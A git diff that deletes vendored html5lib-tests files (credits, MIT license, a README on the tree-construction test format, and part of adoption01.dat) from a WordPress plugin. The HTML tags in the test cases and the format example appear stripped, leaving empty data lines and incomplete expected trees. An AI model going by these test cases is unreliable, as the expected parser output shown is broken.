-} else { - echo "OK: Successfully generated optimized lookup class.\n"; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/.gitattributes b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/.gitattributes deleted file mode 100644 index b23807b2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/.gitattributes +++ /dev/null @@ -1 +0,0 @@ -*.dat -text diff diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/AUTHORS.rst b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/AUTHORS.rst deleted file mode 100644 index 4a7de17a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/AUTHORS.rst +++ /dev/null @@ -1,34 +0,0 @@ -Credits -======= - -The ``html5lib`` test data is maintained by: - -- James Graham -- Geoffrey Sneddon - - -Contributors ------------- - -- Adam Barth -- Andi Sidwell -- Anne van Kesteren -- David Flanagan -- Edward Z. Yang -- Geoffrey Sneddon -- Henri Sivonen -- Ian Hickson -- Jacques Distler -- James Graham -- Lachlan Hunt -- lantis63 -- Mark Pilgrim -- Mats Palmgren -- Ms2ger -- Nolan Waite -- Philip Taylor -- Rafael Weinstein -- Ryan King -- Sam Ruby -- Simon Pieters -- Thomas Broyer diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/LICENSE deleted file mode 100644 index 8812371b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -Copyright (c) 2006-2013 James Graham, Geoffrey Sneddon, and -other contributors - -Permission is hereby granted, free of charge, to any person obtaining -a copy of this software and associated documentation files (the -"Software"), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE -LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION -OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/README.md deleted file mode 100644 index be775c8b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/README.md +++ /dev/null @@ -1,25 +0,0 @@ -# html5lib-tests - -This directory contains a third-party test suite used for testing the WordPress HTML API. - -`html5lib-tests` can be found on GitHub at [html5lib/html5lib-tests](https://github.com/html5lib/html5lib-tests). - -The necessary files have been copied to this directory: - -- `AUTHORS.rst` -- `LICENSE` -- `README.md` -- `tree-construction/README.md` -- `tree-construction/*.dat` - -The version of these files was taken from the git commit with -SHA [`a9f44960a9fedf265093d22b2aa3c7ca123727b9`](https://github.com/html5lib/html5lib-tests/commit/a9f44960a9fedf265093d22b2aa3c7ca123727b9). - -## Updating - -If there have been changes to the html5lib-tests repository, this test suite can be updated. In -order to update: - -1. Check out the latest version of git repository mentioned above. -1. Copy the files listed above into this directory. -1. Update the SHA mentioned in this README file with the new html5lib-tests SHA. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/README.md deleted file mode 100644 index 4737a3a8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/README.md +++ /dev/null @@ -1,108 +0,0 @@ -Tree Construction Tests -======================= - -Each file containing tree construction tests consists of any number of -tests separated by two newlines (LF) and a single newline before the end -of the file. For instance: - - [TEST]LF - LF - [TEST]LF - LF - [TEST]LF - -Where [TEST] is the following format: - -Each test must begin with a string "\#data" followed by a newline (LF). -All subsequent lines until a line that says "\#errors" are the test data -and must be passed to the system being tested unchanged, except with the -final newline (on the last line) removed. - -Then there must be a line that says "\#errors". It must be followed by -one line per parse error that a conformant checker would return. It -doesn't matter what those lines are, although they can't be -"\#new-errors", "\#document-fragment", "\#document", "\#script-off", -"\#script-on", or empty, the only thing that matters is that there be -the right number of parse errors. - -Then there \*may\* be a line that says "\#new-errors", which works like -the "\#errors" section adding more errors to the expected number of -errors. - -Then there \*may\* be a line that says "\#document-fragment", which must -be followed by a newline (LF), followed by a string of characters that -indicates the context element, followed by a newline (LF). If the string -of characters starts with "svg ", the context element is in the SVG -namespace and the substring after "svg " is the local name. If the -string of characters starts with "math ", the context element is in the -MathML namespace and the substring after "math " is the local name. -Otherwise, the context element is in the HTML namespace and the string -is the local name. If this line is present the "\#data" must be parsed -using the HTML fragment parsing algorithm with the context element as -context. - -Then there \*may\* be a line that says "\#script-off" or -"\#script-on". If a line that says "\#script-off" is present, the -parser must set the scripting flag to disabled. If a line that says -"\#script-on" is present, it must set it to enabled. Otherwise, the -test should be run in both modes. - -Then there must be a line that says "\#document", which must be followed -by a dump of the tree of the parsed DOM. Each node must be represented -by a single line. Each line must start with "| ", followed by two spaces -per parent node that the node has before the root document node. - -- Element nodes must be represented by a "`<`" then the *tag name - string* "`>`", and all the attributes must be given, sorted - lexicographically by UTF-16 code unit according to their *attribute - name string*, on subsequent lines, as if they were children of the - element node. -- Attribute nodes must have the *attribute name string*, then an "=" - sign, then the attribute value in double quotes ("). -- Text nodes must be the string, in double quotes. Newlines aren't - escaped. -- Comments must be "`<`" then "`!-- `" then the data then "` -->`". -- DOCTYPEs must be "``". -- Processing instructions must be "``". (The HTML parser cannot emit - processing instructions, but scripts can, and the WebVTT to DOM - rules can emit them.) -- Template contents are represented by the string "content" with the - children below it. - -The *tag name string* is the local name prefixed by a namespace -designator. For the HTML namespace, the namespace designator is the -empty string, i.e. there's no prefix. For the SVG namespace, the -namespace designator is "svg ". For the MathML namespace, the namespace -designator is "math ". - -The *attribute name string* is the local name prefixed by a namespace -designator. For no namespace, the namespace designator is the empty -string, i.e. there's no prefix. For the XLink namespace, the namespace -designator is "xlink ". For the XML namespace, the namespace designator -is "xml ". For the XMLNS namespace, the namespace designator is "xmlns -". Note the difference between "xlink:href" which is an attribute in no -namespace with the local name "xlink:href" and "xlink href" which is an -attribute in the xlink namespace with the local name "href". - -If there is also a "\#document-fragment" the bit following "\#document" -must be a representation of the HTML fragment serialization for the -context element given by "\#document-fragment". - -For example: - - #data -

          One

          Two - #errors - 3: Missing document type declaration - #document - | - | - | - |

          - | "One" - |

          - | "Two" diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/adoption01.dat b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/adoption01.dat deleted file mode 100644 index 38f98efd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/adoption01.dat +++ /dev/null @@ -1,354 +0,0 @@ -#data -

          -#errors -(1,3): expected-doctype-but-got-start-tag -(1,10): adoption-agency-1.3 -#document -| -| -| -| -|

          -| - -#data -1

          23

          -#errors -(1,3): expected-doctype-but-got-start-tag -(1,12): adoption-agency-1.3 -#document -| -| -| -| -| "1" -|

          -| -| "2" -| "3" - -#data -1 -#errors -(1,3): expected-doctype-but-got-start-tag -(1,17): adoption-agency-1.3 -#document -| -| -| -| -| "1" -|